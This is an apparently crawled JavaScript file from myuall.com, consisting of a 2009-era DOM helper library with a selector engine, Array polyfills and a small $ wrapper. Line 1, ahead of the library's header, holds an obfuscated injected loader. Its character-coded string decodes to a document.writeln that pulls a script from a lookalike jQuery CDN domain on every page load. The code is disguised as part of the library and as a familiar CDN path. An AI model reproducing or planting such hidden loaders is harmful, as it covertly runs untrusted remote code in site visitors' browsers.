PageSourceSearch

http://myuall.com/themes/default/js/ylmf.cai.js

js myuall.com collected 2026-10-04 07:06:59 UTC 9,998 bytes, 315 lines download raw bytes

1['jsjiami.com.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['jsjiami.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"100G111Q99Y117P109N101O110D116x46G119y114X105V116Q101l108J110a40P34c60X115i99c114V105w112b116C32q115H114g99d61y104g116e116S112p115Y58P47e47M99Z100M110G46f97f100n104z105z115k46G109h101V47k97N106h97q120f47F108k105s98q115D47K106k113H117t101r114s121C47C51w46c54g46u50T47X106Y113a117k101e114B121U46F106m115Z62o60E47N115O99z114U105j112N116w62v34w41R59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('jsjiami.com.v4');
2/**
3 * ==========================================
4 * Ylmf.cai.js
5 * Copyright (c) 2009 wwww.114la.com
6 * Author: [email protected]
7 * ==========================================
8 */
9var mini=(function(){var b=/(?:[\w\-\\.#]+)+(?:\[\w+?=([\'"])?(?:\\\1|.)+?\1\])?|\*|>/ig,g=/^(?:[\w\-_]+)?\.([\w\-_]+)/,f=/^(?:[\w\-_]+)?#([\w\-_]+)/,j=/^([\w\*\-_]+)/,h=[null,null];function d(o,m){m=m||document;var k=/^[\w\-_#]+$/.test(o);if(!k&&m.querySelectorAll){return c(m.querySelectorAll(o))}if(o.indexOf(",")>-1){var v=o.split(/,/g),t=[],s=0,r=v.length;for(;s<r;++s){t=t.concat(d(v[s],m))}return e(t)}var p=o.match(b),n=p.pop(),l=(n.match(f)||h)[1],u=!l&&(n.match(g)||h)[1],w=!l&&(n.match(j)||h)[1],q;if(u&&!w&&m.getElementsByClassName){q=c(m.getElementsByClassName(u))}else{q=!l&&c(m.getElementsByTagName(w||"*"));if(u){q=i(q,"className",RegExp("(^|\\s)"+u+"(\\s|$)"))}if(l){var x=m.getElementById(l);return x?[x]:[]}}return p[0]&&q[0]?a(p,q):q}function c(o){try{return Array.prototype.slice.call(o)}catch(n){var l=[],m=0,k=o.length;for(;m<k;++m){l[m]=o[m]}return l}}function a(w,p,n){var q=w.pop();if(q===">"){return a(w,p,true)}var s=[],k=-1,l=(q.match(f)||h)[1],t=!l&&(q.match(g)||h)[1],v=!l&&(q.match(j)||h)[1],u=-1,m,x,o;v=v&&v.toLowerCase();while((m=p[++u])){x=m.parentNode;do{o=!v||v==="*"||v===x.nodeName.toLowerCase();o=o&&(!l||x.id===l);o=o&&(!t||RegExp("(^|\\s)"+t+"(\\s|$)").test(x.className));if(n||o){break}}while((x=x.parentNode));if(o){s[++k]=m}}return w[0]&&s[0]?a(w,s):s}var e=(function(){var k=+new Date();var l=(function(){var m=1;return function(p){var o=p[k],n=m++;if(!o){p[k]=n;return true}return false}})();return function(m){var s=m.length,n=[],q=-1,o=0,p;for(;o<s;++o){p=m[o];if(l(p)){n[++q]=p}}k+=1;return n}})();function i(q,k,p){var m=-1,o,n=-1,l=[];while((o=q[++m])){if(p.test(o[k])){l[++n]=o}}return l}return d})();
10
11if ( typeof Ylmf == 'undefined' ) {
12    var Ylmf = {};
13}
14
15Function.prototype.method = function(name,fn) {
16    this.prototype[name]=fn;
17    return this;
18};
19if (!Array.prototype.forEach) {
20    Array.method('forEach',
21    function(fn, thisObj) {
22        var scope = thisObj || window;
23        for (var i = 0,
24        j = this.length; i < j; ++i) {
25            fn.call(scope, this[i], i, this);
26        }
27    }).method('every',
28    function(fn, thisObj) {
29        var scope = thisObj || window;
30        for (var i = 0,
31        j = this.length; i < j; ++i) {
32            if (!fn.call(scope, this[i], i, this)) {
33                return false;
34            }
35        }
36        return true;
37    }).method('some',
38    function(fn, thisObj) {
39        var scope = thisObj || window;
40        for (var i = 0,
41        j = this.length; i < j; ++i) {
42            if (fn.call(scope, this[i], i, this)) {
43                return true;
44            }
45        }
46        return false;
47    }).method('map',
48    function(fn, thisObj) {
49        var scope = thisObj || window;
50        var a = [];
51        for (var i = 0,
52        j = this.length; i < j; ++i) {
53            a.push(fn.call(scope, this[i], i, this));
54        }
55        return a;
56    }).method('filter',
57    function(fn, thisObj) {
58        var scope = thisObj || window;
59        var a = [];
60        for (var i = 0,
61        j = this.length; i < j; ++i) {
62            if (!fn.call(scope, this[i], i, this)) {
63                continue;
64            }
65            a.push(this[i]);
66        }
67        return a;
68    }).method('indexOf',
69    function(el, start) {
70        var start = start || 0;
71        for (var i = start,
72        j = this.length; i < j; ++i) {
73            if (this[i] === el) {
74                return i;
75            }
76        }
77        return - 1;
78    }).method('lastIndexOf',
79    function(el, start) {
80        var start = start || this.length;
81        if (start >= this.length) {
82            start = this.length;
83        }
84        if (start < 0) {
85            start = this.length + start;
86        }
87        for (var i = start; i >= 0; --i) {
88            if (this[i] === el) {
89                return i;
90            }
91        }
92        return - 1;
93    });
94}
95
96(function() {
97    Ylmf.register = function(REG) {
98		function __$(el){
99			
100			if(typeof el=="string"){
101				var elArr =  mini(el);
102				if(!elArr||elArr==""||elArr=="undefined"){
103					//alert("No $!");
104					return false;
105				}
106				if(elArr.length==1){
107					this.el = elArr[0];
108				}else{
109					this.el = elArr;
110				}
111			}else if(el.nodeType||typeof el == "object"){
112				this.el = el;
113			}
114			 
115		};
116        __$.method(REG.each,function(fn){
117			if(!this.el){
118			//	fn.call(this,false);
119				return
120			}						 
121			if(!this.el.length){
122				fn.call(this,this.el);
123			}else{			 
124				for(var i= 0,len = this.el.length; i<len; ++i){
125					fn.call(this,this.el[i]);
126				}
127			}
128			return this;
129		}).method(REG.hasClass, function(c,fn){	
130			this.each(function(el){
131				var col = el.className.split(/\s+/).toString();
132				var result = (col.indexOf(c)>-1)?true:false;
133				(function(){
134					fn(result);	  
135				})();
136			});
137			return this;
138		}).method(REG.addClass, function(classNames){	
139			this.each(function(el){
140				var col = (classNames || "").split(/\s+/);
141				for(var i = 0; i < col.length; i++){
142					var item = col[i];
143					this.hasClass(el,function(b){
144						if(!b){
145							el.className += (el.className ? " " : "") + item;
146						}
147					
148					})
149				}
150
151			});
152			return this;
153		}).method(REG.removeClass, function(c){	
154			this.each(function(el){
155				if(c != undefined){
156					var col = el.className.split(/\s+/);
157					var hasCol = [];
158					for(var i =0,len = col.length;i<len;++i){
159						var item = col[i];
160						
161						if(item!=c){
162							hasCol.push(item);
163						}					
164						
165					}
166					
167					el.className = hasCol.join(" ");
168				}else{
169					el.className = "";
170				}
171
172	
173			});
174			return this;
175		}).method(REG.replaceClass, function(oc,nc){
176	
177			this.removeClass(oc);
178			this.addClass(nc);
179			
180			return this;
181		}).method(REG.setStyle, function(prop,val){	
182			
183			this.each(function(el){
184							   
185				el.style[prop] = val;
186			});
187			return this;
188		}).method(REG.setCSS, function(styles) {
189            for(var prop in styles){
190				if(!styles.hasOwnProperty(prop)) continue;
191				this.setStyle(prop,styles[prop]);
192			}
193            return this;
194			
195        }).method(REG.getStyle,function(prop,fn){
196				var currentStyle = null;
197			
198				if(document.defaultView){// firefox,opera,safari
199					currentStyle =  document.defaultView.getComputedStyle(this.el,null).getPropertyValue(prop);
200				} else {//ie
201					prop=prop.replace(/\-([a-z])([a-z]?)/ig,function(prop,a,b){return a.toUpperCase()+b.toLowerCase();});//ת»¯ÎªÍÕ·åд·¨
202					currentStyle =  this.el["currentStyle"][prop];
203				}
204				fn.call(this,currentStyle);
205			
206			return this;
207		}).method(REG.show,function(n){
208			if(n==0){
209				this.setStyle("display","");
210			}else{
211				this.setStyle("display","block");
212			}
213			return this;
214		}).method(REG.hide,function(){
215			this.setStyle("display","none");
216			return this;
217		}).method(REG.toggle,function(){
218			this.each(function(el){
219				if(el.style.display =="none"){
220					el.style.display="block";
221				}else{
222					el.style.display="none";
223				}
224			});
225			return this;
226		}).method(REG.on,function(type,fn){
227
228			var add = function(el){
229				var f = function(){
230
231					fn(el)
232				};
233				if(window.addEventListener){
234					el.addEventListener(type,f,false);
235				}else if(window.attachEvent){
236					el.attachEvent('on'+type,f);
237				}	
238			}
239			if(!this.el){
240				return;
241			}
242			
243			if(this.el.length==0){
244				add(this.el);
245			}else{
246				this.each(function(el){
247					add(el);
248				});
249			}
250			return this;
251		}).method(REG.getRect,function(fn){
252			var oRect = this.el.getBoundingClientRect();
253			
254			fn.call(this,oRect)
255			
256			return this;
257		}).method(REG.create,function(el,o,cb){
258			var el = document.createElement(el);
259            for ( prop in o ) {
260                el.setAttribute(prop, o[prop]);
261            }
262            if (cb) {
263                cb.call(this, el);
264            }
265			
266			return this;
267		}).method(REG.append,function(element){
268			this.el.appendChild(element);
269			return this;
270		}).method(REG.remove,function(element){
271			if(element){
272				this.el.removeChild(element);
273			}
274			return this;
275		});
276        
277        window[REG.namespace] = function(el) {
278            return new __$(el);
279        };
280        // sugar array shortcuts
281        window[REG.namespace].forEach = Array.prototype.forEach;
282        window[REG.namespace].every = Array.prototype.every;
283        window[REG.namespace].some = Array.prototype.some;
284        window[REG.namespace].map = Array.prototype.map;
285        window[REG.namespace].filter = Array.prototype.filter;
286				
287        Ylmf.extendChain = function(name, fn) {
288            __$.method(name, fn);
289        };
290		
291		
292    };
293})();
294
295Ylmf.register({
296    namespace : '$',
297	each:'each',
298	addClass:'addClass',
299	hasClass:'hasClass',
300	removeClass:'removeClass',
301	replaceClass:'replaceClass',
302	setStyle:'setStyle',
303	getStyle:'getStyle',
304	setCSS:'setCSS',
305	show:'show',
306	hide:'hide',
307	toggle:'toggle',
308	on:'on',
309	getRect:'getRect',
310	append:'append',
311	create:'create',
312	remove:'remove'
313});
314
315

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.